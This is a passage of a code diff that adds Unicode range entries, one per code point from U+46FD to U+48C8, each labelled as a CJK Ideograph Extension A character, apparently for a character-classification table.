+ ["\u46FD", "\u46FD"], /* CJK Ideograph Extension A */
+ ["\u46FE", "\u46FE"], /* CJK Ideograph Extension A */
+ ["\u46FF", "\u46FF"], /* CJK Ideograph Extension A */
+ ["\u4700", "\u4700"], /* CJK Ideograph Extension A */
+ ["\u4701", "\u4701"], /* CJK Ideograph Extension A */
+ ["\u4702", "\u4702"], /* CJK Ideograph Extension A */
+ ["\u4703", "\u4703"], /* CJK Ideograph Extension A */
+ ["\u4704", "\u4704"], /* CJK Ideograph Extension A */
+ ["\u4705", "\u4705"], /* CJK Ideograph Extension A */
+ ["\u4706", "\u4706"], /* CJK Ideograph Extension A */
+ ["\u4707", "\u4707"], /* CJK Ideograph Extension A */
+ ["\u4708", "\u4708"], /* CJK Ideograph Extension A */
+ ["\u4709", "\u4709"], /* CJK Ideograph Extension A */
+ ["\u470A", "\u470A"], /* CJK Ideograph Extension A */
+ ["\u470B", "\u470B"], /* CJK Ideograph Extension A */
+ ["\u470C", "\u470C"], /* CJK Ideograph Extension A */
+ ["\u470D", "\u470D"], /* CJK Ideograph Extension A */
+ ["\u470E", "\u470E"], /* CJK Ideograph Extension A */
+ ["\u470F", "\u470F"], /* CJK Ideograph Extension A */
+ ["\u4710", "\u4710"], /* CJK Ideograph Extension A */
+ ["\u4711", "\u4711"], /* CJK Ideograph Extension A */
+ ["\u4712", "\u4712"], /* CJK Ideograph Extension A */
+ ["\u4713", "\u4713"], /* CJK Ideograph Extension A */
+ ["\u4714", "\u4714"], /* CJK Ideograph Extension A */
+ ["\u4715", "\u4715"], /* CJK Ideograph Extension A */
+ ["\u4716", "\u4716"], /* CJK Ideograph Extension A */
+ ["\u4717", "\u4717"], /* CJK Ideograph Extension A */
+ ["\u4718", "\u4718"], /* CJK Ideograph Extension A */
+ ["\u4719", "\u4719"], /* CJK Ideograph Extension A */
+ ["\u471A", "\u471A"], /* CJK Ideograph Extension A */
+ ["\u471B", "\u471B"], /* CJK Ideograph Extension A */
+ ["\u471C", "\u471C"], /* CJK Ideograph Extension A */
+ ["\u471D", "\u471D"], /* CJK Ideograph Extension A */
+ ["\u471E", "\u471E"], /* CJK Ideograph Extension A */
+ ["\u471F", "\u471F"], /* CJK Ideograph Extension A */
+ ["\u4720", "\u4720"], /* CJK Ideograph Extension A */
+ ["\u4721", "\u4721"], /* CJK Ideograph Extension A */
+ ["\u4722", "\u4722"], /* CJK Ideograph Extension A */
+ ["\u4723", "\u4723"], /* CJK Ideograph Extension A */
+ ["\u4724", "\u4724"], /* CJK Ideograph Extension A */
+ ["\u4725", "\u4725"], /* CJK Ideograph Extension A */
+ ["\u4726", "\u4726"], /* CJK Ideograph Extension A */
+ ["\u4727", "\u4727"], /* CJK Ideograph Extension A */
+ ["\u4728", "\u4728"], /* CJK Ideograph Extension A */
+ ["\u4729", "\u4729"], /* CJK Ideograph Extension A */
+ ["\u472A", "\u472A"], /* CJK Ideograph Extension A */
+ ["\u472B", "\u472B"], /* CJK Ideograph Extension A */
+ ["\u472C", "\u472C"], /* CJK Ideograph Extension A */
+ ["\u472D", "\u472D"], /* CJK Ideograph Extension A */
+ ["\u472E", "\u472E"], /* CJK Ideograph Extension A */
+ ["\u472F", "\u472F"], /* CJK Ideograph Extension A */
+ ["\u4730", "\u4730"], /* CJK Ideograph Extension A */
+ ["\u4731", "\u4731"], /* CJK Ideograph Extension A */
+ ["\u4732", "\u4732"], /* CJK Ideograph Extension A */
+ ["\u4733", "\u4733"], /* CJK Ideograph Extension A */
+ ["\u4734", "\u4734"], /* CJK Ideograph Extension A */
+ ["\u4735", "\u4735"], /* CJK Ideograph Extension A */
+ ["\u4736", "\u4736"], /* CJK Ideograph Extension A */
+ ["\u4737", "\u4737"], /* CJK Ideograph Extension A */
+ ["\u4738", "\u4738"], /* CJK Ideograph Extension A */
+ ["\u4739", "\u4739"], /* CJK Ideograph Extension A */
+ ["\u473A", "\u473A"], /* CJK Ideograph Extension A */
+ ["\u473B", "\u473B"], /* CJK Ideograph Extension A */
+ ["\u473C", "\u473C"], /* CJK Ideograph Extension A */
+ ["\u473D", "\u473D"], /* CJK Ideograph Extension A */
+ ["\u473E", "\u473E"], /* CJK Ideograph Extension A */
+ ["\u473F", "\u473F"], /* CJK Ideograph Extension A */
+ ["\u4740", "\u4740"], /* CJK Ideograph Extension A */
+ ["\u4741", "\u4741"], /* CJK Ideograph Extension A */
+ ["\u4742", "\u4742"], /* CJK Ideograph Extension A */
+ ["\u4743", "\u4743"], /* CJK Ideograph Extension A */
+ ["\u4744", "\u4744"], /* CJK Ideograph Extension A */
+ ["\u4745", "\u4745"], /* CJK Ideograph Extension A */
+ ["\u4746", "\u4746"], /* CJK Ideograph Extension A */
+ ["\u4747", "\u4747"], /* CJK Ideograph Extension A */
+ ["\u4748", "\u4748"], /* CJK Ideograph Extension A */
+ ["\u4749", "\u4749"], /* CJK Ideograph Extension A */
+ ["\u474A", "\u474A"], /* CJK Ideograph Extension A */
+ ["\u474B", "\u474B"], /* CJK Ideograph Extension A */
+ ["\u474C", "\u474C"], /* CJK Ideograph Extension A */
+ ["\u474D", "\u474D"], /* CJK Ideograph Extension A */
+ ["\u474E", "\u474E"], /* CJK Ideograph Extension A */
+ ["\u474F", "\u474F"], /* CJK Ideograph Extension A */
+ ["\u4750", "\u4750"], /* CJK Ideograph Extension A */
+ ["\u4751", "\u4751"], /* CJK Ideograph Extension A */
+ ["\u4752", "\u4752"], /* CJK Ideograph Extension A */
+ ["\u4753", "\u4753"], /* CJK Ideograph Extension A */
+ ["\u4754", "\u4754"], /* CJK Ideograph Extension A */
+ ["\u4755", "\u4755"], /* CJK Ideograph Extension A */
+ ["\u4756", "\u4756"], /* CJK Ideograph Extension A */
+ ["\u4757", "\u4757"], /* CJK Ideograph Extension A */
+ ["\u4758", "\u4758"], /* CJK Ideograph Extension A */
+ ["\u4759", "\u4759"], /* CJK Ideograph Extension A */
+ ["\u475A", "\u475A"], /* CJK Ideograph Extension A */
+ ["\u475B", "\u475B"], /* CJK Ideograph Extension A */
+ ["\u475C", "\u475C"], /* CJK Ideograph Extension A */
+ ["\u475D", "\u475D"], /* CJK Ideograph Extension A */
+ ["\u475E", "\u475E"], /* CJK Ideograph Extension A */
+ ["\u475F", "\u475F"], /* CJK Ideograph Extension A */
+ ["\u4760", "\u4760"], /* CJK Ideograph Extension A */
+ ["\u4761", "\u4761"], /* CJK Ideograph Extension A */
+ ["\u4762", "\u4762"], /* CJK Ideograph Extension A */
+ ["\u4763", "\u4763"], /* CJK Ideograph Extension A */
+ ["\u4764", "\u4764"], /* CJK Ideograph Extension A */
+ ["\u4765", "\u4765"], /* CJK Ideograph Extension A */
+ ["\u4766", "\u4766"], /* CJK Ideograph Extension A */
+ ["\u4767", "\u4767"], /* CJK Ideograph Extension A */
+ ["\u4768", "\u4768"], /* CJK Ideograph Extension A */
+ ["\u4769", "\u4769"], /* CJK Ideograph Extension A */
+ ["\u476A", "\u476A"], /* CJK Ideograph Extension A */
+ ["\u476B", "\u476B"], /* CJK Ideograph Extension A */
+ ["\u476C", "\u476C"], /* CJK Ideograph Extension A */
+ ["\u476D", "\u476D"], /* CJK Ideograph Extension A */
+ ["\u476E", "\u476E"], /* CJK Ideograph Extension A */
+ ["\u476F", "\u476F"], /* CJK Ideograph Extension A */
+ ["\u4770", "\u4770"], /* CJK Ideograph Extension A */
+ ["\u4771", "\u4771"], /* CJK Ideograph Extension A */
+ ["\u4772", "\u4772"], /* CJK Ideograph Extension A */
+ ["\u4773", "\u4773"], /* CJK Ideograph Extension A */
+ ["\u4774", "\u4774"], /* CJK Ideograph Extension A */
+ ["\u4775", "\u4775"], /* CJK Ideograph Extension A */
+ ["\u4776", "\u4776"], /* CJK Ideograph Extension A */
+ ["\u4777", "\u4777"], /* CJK Ideograph Extension A */
+ ["\u4778", "\u4778"], /* CJK Ideograph Extension A */
+ ["\u4779", "\u4779"], /* CJK Ideograph Extension A */
+ ["\u477A", "\u477A"], /* CJK Ideograph Extension A */
+ ["\u477B", "\u477B"], /* CJK Ideograph Extension A */
+ ["\u477C", "\u477C"], /* CJK Ideograph Extension A */
+ ["\u477D", "\u477D"], /* CJK Ideograph Extension A */
+ ["\u477E", "\u477E"], /* CJK Ideograph Extension A */
+ ["\u477F", "\u477F"], /* CJK Ideograph Extension A */
+ ["\u4780", "\u4780"], /* CJK Ideograph Extension A */
+ ["\u4781", "\u4781"], /* CJK Ideograph Extension A */
+ ["\u4782", "\u4782"], /* CJK Ideograph Extension A */
+ ["\u4783", "\u4783"], /* CJK Ideograph Extension A */
+ ["\u4784", "\u4784"], /* CJK Ideograph Extension A */
+ ["\u4785", "\u4785"], /* CJK Ideograph Extension A */
+ ["\u4786", "\u4786"], /* CJK Ideograph Extension A */
+ ["\u4787", "\u4787"], /* CJK Ideograph Extension A */
+ ["\u4788", "\u4788"], /* CJK Ideograph Extension A */
+ ["\u4789", "\u4789"], /* CJK Ideograph Extension A */
+ ["\u478A", "\u478A"], /* CJK Ideograph Extension A */
+ ["\u478B", "\u478B"], /* CJK Ideograph Extension A */
+ ["\u478C", "\u478C"], /* CJK Ideograph Extension A */
+ ["\u478D", "\u478D"], /* CJK Ideograph Extension A */
+ ["\u478E", "\u478E"], /* CJK Ideograph Extension A */
+ ["\u478F", "\u478F"], /* CJK Ideograph Extension A */
+ ["\u4790", "\u4790"], /* CJK Ideograph Extension A */
+ ["\u4791", "\u4791"], /* CJK Ideograph Extension A */
+ ["\u4792", "\u4792"], /* CJK Ideograph Extension A */
+ ["\u4793", "\u4793"], /* CJK Ideograph Extension A */
+ ["\u4794", "\u4794"], /* CJK Ideograph Extension A */
+ ["\u4795", "\u4795"], /* CJK Ideograph Extension A */
+ ["\u4796", "\u4796"], /* CJK Ideograph Extension A */
+ ["\u4797", "\u4797"], /* CJK Ideograph Extension A */
+ ["\u4798", "\u4798"], /* CJK Ideograph Extension A */
+ ["\u4799", "\u4799"], /* CJK Ideograph Extension A */
+ ["\u479A", "\u479A"], /* CJK Ideograph Extension A */
+ ["\u479B", "\u479B"], /* CJK Ideograph Extension A */
+ ["\u479C", "\u479C"], /* CJK Ideograph Extension A */
+ ["\u479D", "\u479D"], /* CJK Ideograph Extension A */
+ ["\u479E", "\u479E"], /* CJK Ideograph Extension A */
+ ["\u479F", "\u479F"], /* CJK Ideograph Extension A */
+ ["\u47A0", "\u47A0"], /* CJK Ideograph Extension A */
+ ["\u47A1", "\u47A1"], /* CJK Ideograph Extension A */
+ ["\u47A2", "\u47A2"], /* CJK Ideograph Extension A */
+ ["\u47A3", "\u47A3"], /* CJK Ideograph Extension A */
+ ["\u47A4", "\u47A4"], /* CJK Ideograph Extension A */
+ ["\u47A5", "\u47A5"], /* CJK Ideograph Extension A */
+ ["\u47A6", "\u47A6"], /* CJK Ideograph Extension A */
+ ["\u47A7", "\u47A7"], /* CJK Ideograph Extension A */
+ ["\u47A8", "\u47A8"], /* CJK Ideograph Extension A */
+ ["\u47A9", "\u47A9"], /* CJK Ideograph Extension A */
+ ["\u47AA", "\u47AA"], /* CJK Ideograph Extension A */
+ ["\u47AB", "\u47AB"], /* CJK Ideograph Extension A */
+ ["\u47AC", "\u47AC"], /* CJK Ideograph Extension A */
+ ["\u47AD", "\u47AD"], /* CJK Ideograph Extension A */
+ ["\u47AE", "\u47AE"], /* CJK Ideograph Extension A */
+ ["\u47AF", "\u47AF"], /* CJK Ideograph Extension A */
+ ["\u47B0", "\u47B0"], /* CJK Ideograph Extension A */
+ ["\u47B1", "\u47B1"], /* CJK Ideograph Extension A */
+ ["\u47B2", "\u47B2"], /* CJK Ideograph Extension A */
+ ["\u47B3", "\u47B3"], /* CJK Ideograph Extension A */
+ ["\u47B4", "\u47B4"], /* CJK Ideograph Extension A */
+ ["\u47B5", "\u47B5"], /* CJK Ideograph Extension A */
+ ["\u47B6", "\u47B6"], /* CJK Ideograph Extension A */
+ ["\u47B7", "\u47B7"], /* CJK Ideograph Extension A */
+ ["\u47B8", "\u47B8"], /* CJK Ideograph Extension A */
+ ["\u47B9", "\u47B9"], /* CJK Ideograph Extension A */
+ ["\u47BA", "\u47BA"], /* CJK Ideograph Extension A */
+ ["\u47BB", "\u47BB"], /* CJK Ideograph Extension A */
+ ["\u47BC", "\u47BC"], /* CJK Ideograph Extension A */
+ ["\u47BD", "\u47BD"], /* CJK Ideograph Extension A */
+ ["\u47BE", "\u47BE"], /* CJK Ideograph Extension A */
+ ["\u47BF", "\u47BF"], /* CJK Ideograph Extension A */
+ ["\u47C0", "\u47C0"], /* CJK Ideograph Extension A */
+ ["\u47C1", "\u47C1"], /* CJK Ideograph Extension A */
+ ["\u47C2", "\u47C2"], /* CJK Ideograph Extension A */
+ ["\u47C3", "\u47C3"], /* CJK Ideograph Extension A */
+ ["\u47C4", "\u47C4"], /* CJK Ideograph Extension A */
+ ["\u47C5", "\u47C5"], /* CJK Ideograph Extension A */
+ ["\u47C6", "\u47C6"], /* CJK Ideograph Extension A */
+ ["\u47C7", "\u47C7"], /* CJK Ideograph Extension A */
+ ["\u47C8", "\u47C8"], /* CJK Ideograph Extension A */
+ ["\u47C9", "\u47C9"], /* CJK Ideograph Extension A */
+ ["\u47CA", "\u47CA"], /* CJK Ideograph Extension A */
+ ["\u47CB", "\u47CB"], /* CJK Ideograph Extension A */
+ ["\u47CC", "\u47CC"], /* CJK Ideograph Extension A */
+ ["\u47CD", "\u47CD"], /* CJK Ideograph Extension A */
+ ["\u47CE", "\u47CE"], /* CJK Ideograph Extension A */
+ ["\u47CF", "\u47CF"], /* CJK Ideograph Extension A */
+ ["\u47D0", "\u47D0"], /* CJK Ideograph Extension A */
+ ["\u47D1", "\u47D1"], /* CJK Ideograph Extension A */
+ ["\u47D2", "\u47D2"], /* CJK Ideograph Extension A */
+ ["\u47D3", "\u47D3"], /* CJK Ideograph Extension A */
+ ["\u47D4", "\u47D4"], /* CJK Ideograph Extension A */
+ ["\u47D5", "\u47D5"], /* CJK Ideograph Extension A */
+ ["\u47D6", "\u47D6"], /* CJK Ideograph Extension A */
+ ["\u47D7", "\u47D7"], /* CJK Ideograph Extension A */
+ ["\u47D8", "\u47D8"], /* CJK Ideograph Extension A */
+ ["\u47D9", "\u47D9"], /* CJK Ideograph Extension A */
+ ["\u47DA", "\u47DA"], /* CJK Ideograph Extension A */
+ ["\u47DB", "\u47DB"], /* CJK Ideograph Extension A */
+ ["\u47DC", "\u47DC"], /* CJK Ideograph Extension A */
+ ["\u47DD", "\u47DD"], /* CJK Ideograph Extension A */
+ ["\u47DE", "\u47DE"], /* CJK Ideograph Extension A */
+ ["\u47DF", "\u47DF"], /* CJK Ideograph Extension A */
+ ["\u47E0", "\u47E0"], /* CJK Ideograph Extension A */
+ ["\u47E1", "\u47E1"], /* CJK Ideograph Extension A */
+ ["\u47E2", "\u47E2"], /* CJK Ideograph Extension A */
+ ["\u47E3", "\u47E3"], /* CJK Ideograph Extension A */
+ ["\u47E4", "\u47E4"], /* CJK Ideograph Extension A */
+ ["\u47E5", "\u47E5"], /* CJK Ideograph Extension A */
+ ["\u47E6", "\u47E6"], /* CJK Ideograph Extension A */
+ ["\u47E7", "\u47E7"], /* CJK Ideograph Extension A */
+ ["\u47E8", "\u47E8"], /* CJK Ideograph Extension A */
+ ["\u47E9", "\u47E9"], /* CJK Ideograph Extension A */
+ ["\u47EA", "\u47EA"], /* CJK Ideograph Extension A */
+ ["\u47EB", "\u47EB"], /* CJK Ideograph Extension A */
+ ["\u47EC", "\u47EC"], /* CJK Ideograph Extension A */
+ ["\u47ED", "\u47ED"], /* CJK Ideograph Extension A */
+ ["\u47EE", "\u47EE"], /* CJK Ideograph Extension A */
+ ["\u47EF", "\u47EF"], /* CJK Ideograph Extension A */
+ ["\u47F0", "\u47F0"], /* CJK Ideograph Extension A */
+ ["\u47F1", "\u47F1"], /* CJK Ideograph Extension A */
+ ["\u47F2", "\u47F2"], /* CJK Ideograph Extension A */
+ ["\u47F3", "\u47F3"], /* CJK Ideograph Extension A */
+ ["\u47F4", "\u47F4"], /* CJK Ideograph Extension A */
+ ["\u47F5", "\u47F5"], /* CJK Ideograph Extension A */
+ ["\u47F6", "\u47F6"], /* CJK Ideograph Extension A */
+ ["\u47F7", "\u47F7"], /* CJK Ideograph Extension A */
+ ["\u47F8", "\u47F8"], /* CJK Ideograph Extension A */
+ ["\u47F9", "\u47F9"], /* CJK Ideograph Extension A */
+ ["\u47FA", "\u47FA"], /* CJK Ideograph Extension A */
+ ["\u47FB", "\u47FB"], /* CJK Ideograph Extension A */
+ ["\u47FC", "\u47FC"], /* CJK Ideograph Extension A */
+ ["\u47FD", "\u47FD"], /* CJK Ideograph Extension A */
+ ["\u47FE", "\u47FE"], /* CJK Ideograph Extension A */
+ ["\u47FF", "\u47FF"], /* CJK Ideograph Extension A */
+ ["\u4800", "\u4800"], /* CJK Ideograph Extension A */
+ ["\u4801", "\u4801"], /* CJK Ideograph Extension A */
+ ["\u4802", "\u4802"], /* CJK Ideograph Extension A */
+ ["\u4803", "\u4803"], /* CJK Ideograph Extension A */
+ ["\u4804", "\u4804"], /* CJK Ideograph Extension A */
+ ["\u4805", "\u4805"], /* CJK Ideograph Extension A */
+ ["\u4806", "\u4806"], /* CJK Ideograph Extension A */
+ ["\u4807", "\u4807"], /* CJK Ideograph Extension A */
+ ["\u4808", "\u4808"], /* CJK Ideograph Extension A */
+ ["\u4809", "\u4809"], /* CJK Ideograph Extension A */
+ ["\u480A", "\u480A"], /* CJK Ideograph Extension A */
+ ["\u480B", "\u480B"], /* CJK Ideograph Extension A */
+ ["\u480C", "\u480C"], /* CJK Ideograph Extension A */
+ ["\u480D", "\u480D"], /* CJK Ideograph Extension A */
+ ["\u480E", "\u480E"], /* CJK Ideograph Extension A */
+ ["\u480F", "\u480F"], /* CJK Ideograph Extension A */
+ ["\u4810", "\u4810"], /* CJK Ideograph Extension A */
+ ["\u4811", "\u4811"], /* CJK Ideograph Extension A */
+ ["\u4812", "\u4812"], /* CJK Ideograph Extension A */
+ ["\u4813", "\u4813"], /* CJK Ideograph Extension A */
+ ["\u4814", "\u4814"], /* CJK Ideograph Extension A */
+ ["\u4815", "\u4815"], /* CJK Ideograph Extension A */
+ ["\u4816", "\u4816"], /* CJK Ideograph Extension A */
+ ["\u4817", "\u4817"], /* CJK Ideograph Extension A */
+ ["\u4818", "\u4818"], /* CJK Ideograph Extension A */
+ ["\u4819", "\u4819"], /* CJK Ideograph Extension A */
+ ["\u481A", "\u481A"], /* CJK Ideograph Extension A */
+ ["\u481B", "\u481B"], /* CJK Ideograph Extension A */
+ ["\u481C", "\u481C"], /* CJK Ideograph Extension A */
+ ["\u481D", "\u481D"], /* CJK Ideograph Extension A */
+ ["\u481E", "\u481E"], /* CJK Ideograph Extension A */
+ ["\u481F", "\u481F"], /* CJK Ideograph Extension A */
+ ["\u4820", "\u4820"], /* CJK Ideograph Extension A */
+ ["\u4821", "\u4821"], /* CJK Ideograph Extension A */
+ ["\u4822", "\u4822"], /* CJK Ideograph Extension A */
+ ["\u4823", "\u4823"], /* CJK Ideograph Extension A */
+ ["\u4824", "\u4824"], /* CJK Ideograph Extension A */
+ ["\u4825", "\u4825"], /* CJK Ideograph Extension A */
+ ["\u4826", "\u4826"], /* CJK Ideograph Extension A */
+ ["\u4827", "\u4827"], /* CJK Ideograph Extension A */
+ ["\u4828", "\u4828"], /* CJK Ideograph Extension A */
+ ["\u4829", "\u4829"], /* CJK Ideograph Extension A */
+ ["\u482A", "\u482A"], /* CJK Ideograph Extension A */
+ ["\u482B", "\u482B"], /* CJK Ideograph Extension A */
+ ["\u482C", "\u482C"], /* CJK Ideograph Extension A */
+ ["\u482D", "\u482D"], /* CJK Ideograph Extension A */
+ ["\u482E", "\u482E"], /* CJK Ideograph Extension A */
+ ["\u482F", "\u482F"], /* CJK Ideograph Extension A */
+ ["\u4830", "\u4830"], /* CJK Ideograph Extension A */
+ ["\u4831", "\u4831"], /* CJK Ideograph Extension A */
+ ["\u4832", "\u4832"], /* CJK Ideograph Extension A */
+ ["\u4833", "\u4833"], /* CJK Ideograph Extension A */
+ ["\u4834", "\u4834"], /* CJK Ideograph Extension A */
+ ["\u4835", "\u4835"], /* CJK Ideograph Extension A */
+ ["\u4836", "\u4836"], /* CJK Ideograph Extension A */
+ ["\u4837", "\u4837"], /* CJK Ideograph Extension A */
+ ["\u4838", "\u4838"], /* CJK Ideograph Extension A */
+ ["\u4839", "\u4839"], /* CJK Ideograph Extension A */
+ ["\u483A", "\u483A"], /* CJK Ideograph Extension A */
+ ["\u483B", "\u483B"], /* CJK Ideograph Extension A */
+ ["\u483C", "\u483C"], /* CJK Ideograph Extension A */
+ ["\u483D", "\u483D"], /* CJK Ideograph Extension A */
+ ["\u483E", "\u483E"], /* CJK Ideograph Extension A */
+ ["\u483F", "\u483F"], /* CJK Ideograph Extension A */
+ ["\u4840", "\u4840"], /* CJK Ideograph Extension A */
+ ["\u4841", "\u4841"], /* CJK Ideograph Extension A */
+ ["\u4842", "\u4842"], /* CJK Ideograph Extension A */
+ ["\u4843", "\u4843"], /* CJK Ideograph Extension A */
+ ["\u4844", "\u4844"], /* CJK Ideograph Extension A */
+ ["\u4845", "\u4845"], /* CJK Ideograph Extension A */
+ ["\u4846", "\u4846"], /* CJK Ideograph Extension A */
+ ["\u4847", "\u4847"], /* CJK Ideograph Extension A */
+ ["\u4848", "\u4848"], /* CJK Ideograph Extension A */
+ ["\u4849", "\u4849"], /* CJK Ideograph Extension A */
+ ["\u484A", "\u484A"], /* CJK Ideograph Extension A */
+ ["\u484B", "\u484B"], /* CJK Ideograph Extension A */
+ ["\u484C", "\u484C"], /* CJK Ideograph Extension A */
+ ["\u484D", "\u484D"], /* CJK Ideograph Extension A */
+ ["\u484E", "\u484E"], /* CJK Ideograph Extension A */
+ ["\u484F", "\u484F"], /* CJK Ideograph Extension A */
+ ["\u4850", "\u4850"], /* CJK Ideograph Extension A */
+ ["\u4851", "\u4851"], /* CJK Ideograph Extension A */
+ ["\u4852", "\u4852"], /* CJK Ideograph Extension A */
+ ["\u4853", "\u4853"], /* CJK Ideograph Extension A */
+ ["\u4854", "\u4854"], /* CJK Ideograph Extension A */
+ ["\u4855", "\u4855"], /* CJK Ideograph Extension A */
+ ["\u4856", "\u4856"], /* CJK Ideograph Extension A */
+ ["\u4857", "\u4857"], /* CJK Ideograph Extension A */
+ ["\u4858", "\u4858"], /* CJK Ideograph Extension A */
+ ["\u4859", "\u4859"], /* CJK Ideograph Extension A */
+ ["\u485A", "\u485A"], /* CJK Ideograph Extension A */
+ ["\u485B", "\u485B"], /* CJK Ideograph Extension A */
+ ["\u485C", "\u485C"], /* CJK Ideograph Extension A */
+ ["\u485D", "\u485D"], /* CJK Ideograph Extension A */
+ ["\u485E", "\u485E"], /* CJK Ideograph Extension A */
+ ["\u485F", "\u485F"], /* CJK Ideograph Extension A */
+ ["\u4860", "\u4860"], /* CJK Ideograph Extension A */
+ ["\u4861", "\u4861"], /* CJK Ideograph Extension A */
+ ["\u4862", "\u4862"], /* CJK Ideograph Extension A */
+ ["\u4863", "\u4863"], /* CJK Ideograph Extension A */
+ ["\u4864", "\u4864"], /* CJK Ideograph Extension A */
+ ["\u4865", "\u4865"], /* CJK Ideograph Extension A */
+ ["\u4866", "\u4866"], /* CJK Ideograph Extension A */
+ ["\u4867", "\u4867"], /* CJK Ideograph Extension A */
+ ["\u4868", "\u4868"], /* CJK Ideograph Extension A */
+ ["\u4869", "\u4869"], /* CJK Ideograph Extension A */
+ ["\u486A", "\u486A"], /* CJK Ideograph Extension A */
+ ["\u486B", "\u486B"], /* CJK Ideograph Extension A */
+ ["\u486C", "\u486C"], /* CJK Ideograph Extension A */
+ ["\u486D", "\u486D"], /* CJK Ideograph Extension A */
+ ["\u486E", "\u486E"], /* CJK Ideograph Extension A */
+ ["\u486F", "\u486F"], /* CJK Ideograph Extension A */
+ ["\u4870", "\u4870"], /* CJK Ideograph Extension A */
+ ["\u4871", "\u4871"], /* CJK Ideograph Extension A */
+ ["\u4872", "\u4872"], /* CJK Ideograph Extension A */
+ ["\u4873", "\u4873"], /* CJK Ideograph Extension A */
+ ["\u4874", "\u4874"], /* CJK Ideograph Extension A */
+ ["\u4875", "\u4875"], /* CJK Ideograph Extension A */
+ ["\u4876", "\u4876"], /* CJK Ideograph Extension A */
+ ["\u4877", "\u4877"], /* CJK Ideograph Extension A */
+ ["\u4878", "\u4878"], /* CJK Ideograph Extension A */
+ ["\u4879", "\u4879"], /* CJK Ideograph Extension A */
+ ["\u487A", "\u487A"], /* CJK Ideograph Extension A */
+ ["\u487B", "\u487B"], /* CJK Ideograph Extension A */
+ ["\u487C", "\u487C"], /* CJK Ideograph Extension A */
+ ["\u487D", "\u487D"], /* CJK Ideograph Extension A */
+ ["\u487E", "\u487E"], /* CJK Ideograph Extension A */
+ ["\u487F", "\u487F"], /* CJK Ideograph Extension A */
+ ["\u4880", "\u4880"], /* CJK Ideograph Extension A */
+ ["\u4881", "\u4881"], /* CJK Ideograph Extension A */
+ ["\u4882", "\u4882"], /* CJK Ideograph Extension A */
+ ["\u4883", "\u4883"], /* CJK Ideograph Extension A */
+ ["\u4884", "\u4884"], /* CJK Ideograph Extension A */
+ ["\u4885", "\u4885"], /* CJK Ideograph Extension A */
+ ["\u4886", "\u4886"], /* CJK Ideograph Extension A */
+ ["\u4887", "\u4887"], /* CJK Ideograph Extension A */
+ ["\u4888", "\u4888"], /* CJK Ideograph Extension A */
+ ["\u4889", "\u4889"], /* CJK Ideograph Extension A */
+ ["\u488A", "\u488A"], /* CJK Ideograph Extension A */
+ ["\u488B", "\u488B"], /* CJK Ideograph Extension A */
+ ["\u488C", "\u488C"], /* CJK Ideograph Extension A */
+ ["\u488D", "\u488D"], /* CJK Ideograph Extension A */
+ ["\u488E", "\u488E"], /* CJK Ideograph Extension A */
+ ["\u488F", "\u488F"], /* CJK Ideograph Extension A */
+ ["\u4890", "\u4890"], /* CJK Ideograph Extension A */
+ ["\u4891", "\u4891"], /* CJK Ideograph Extension A */
+ ["\u4892", "\u4892"], /* CJK Ideograph Extension A */
+ ["\u4893", "\u4893"], /* CJK Ideograph Extension A */
+ ["\u4894", "\u4894"], /* CJK Ideograph Extension A */
+ ["\u4895", "\u4895"], /* CJK Ideograph Extension A */
+ ["\u4896", "\u4896"], /* CJK Ideograph Extension A */
+ ["\u4897", "\u4897"], /* CJK Ideograph Extension A */
+ ["\u4898", "\u4898"], /* CJK Ideograph Extension A */
+ ["\u4899", "\u4899"], /* CJK Ideograph Extension A */
+ ["\u489A", "\u489A"], /* CJK Ideograph Extension A */
+ ["\u489B", "\u489B"], /* CJK Ideograph Extension A */
+ ["\u489C", "\u489C"], /* CJK Ideograph Extension A */
+ ["\u489D", "\u489D"], /* CJK Ideograph Extension A */
+ ["\u489E", "\u489E"], /* CJK Ideograph Extension A */
+ ["\u489F", "\u489F"], /* CJK Ideograph Extension A */
+ ["\u48A0", "\u48A0"], /* CJK Ideograph Extension A */
+ ["\u48A1", "\u48A1"], /* CJK Ideograph Extension A */
+ ["\u48A2", "\u48A2"], /* CJK Ideograph Extension A */
+ ["\u48A3", "\u48A3"], /* CJK Ideograph Extension A */
+ ["\u48A4", "\u48A4"], /* CJK Ideograph Extension A */
+ ["\u48A5", "\u48A5"], /* CJK Ideograph Extension A */
+ ["\u48A6", "\u48A6"], /* CJK Ideograph Extension A */
+ ["\u48A7", "\u48A7"], /* CJK Ideograph Extension A */
+ ["\u48A8", "\u48A8"], /* CJK Ideograph Extension A */
+ ["\u48A9", "\u48A9"], /* CJK Ideograph Extension A */
+ ["\u48AA", "\u48AA"], /* CJK Ideograph Extension A */
+ ["\u48AB", "\u48AB"], /* CJK Ideograph Extension A */
+ ["\u48AC", "\u48AC"], /* CJK Ideograph Extension A */
+ ["\u48AD", "\u48AD"], /* CJK Ideograph Extension A */
+ ["\u48AE", "\u48AE"], /* CJK Ideograph Extension A */
+ ["\u48AF", "\u48AF"], /* CJK Ideograph Extension A */
+ ["\u48B0", "\u48B0"], /* CJK Ideograph Extension A */
+ ["\u48B1", "\u48B1"], /* CJK Ideograph Extension A */
+ ["\u48B2", "\u48B2"], /* CJK Ideograph Extension A */
+ ["\u48B3", "\u48B3"], /* CJK Ideograph Extension A */
+ ["\u48B4", "\u48B4"], /* CJK Ideograph Extension A */
+ ["\u48B5", "\u48B5"], /* CJK Ideograph Extension A */
+ ["\u48B6", "\u48B6"], /* CJK Ideograph Extension A */
+ ["\u48B7", "\u48B7"], /* CJK Ideograph Extension A */
+ ["\u48B8", "\u48B8"], /* CJK Ideograph Extension A */
+ ["\u48B9", "\u48B9"], /* CJK Ideograph Extension A */
+ ["\u48BA", "\u48BA"], /* CJK Ideograph Extension A */
+ ["\u48BB", "\u48BB"], /* CJK Ideograph Extension A */
+ ["\u48BC", "\u48BC"], /* CJK Ideograph Extension A */
+ ["\u48BD", "\u48BD"], /* CJK Ideograph Extension A */
+ ["\u48BE", "\u48BE"], /* CJK Ideograph Extension A */
+ ["\u48BF", "\u48BF"], /* CJK Ideograph Extension A */
+ ["\u48C0", "\u48C0"], /* CJK Ideograph Extension A */
+ ["\u48C1", "\u48C1"], /* CJK Ideograph Extension A */
+ ["\u48C2", "\u48C2"], /* CJK Ideograph Extension A */
+ ["\u48C3", "\u48C3"], /* CJK Ideograph Extension A */
+ ["\u48C4", "\u48C4"], /* CJK Ideograph Extension A */
+ ["\u48C5", "\u48C5"], /* CJK Ideograph Extension A */
+ ["\u48C6", "\u48C6"], /* CJK Ideograph Extension A */
+ ["\u48C7", "\u48C7"], /* CJK Ideograph Extension A */
+ ["\u48C8", "\u48C8"], /* CJK Ideograph Extension A */
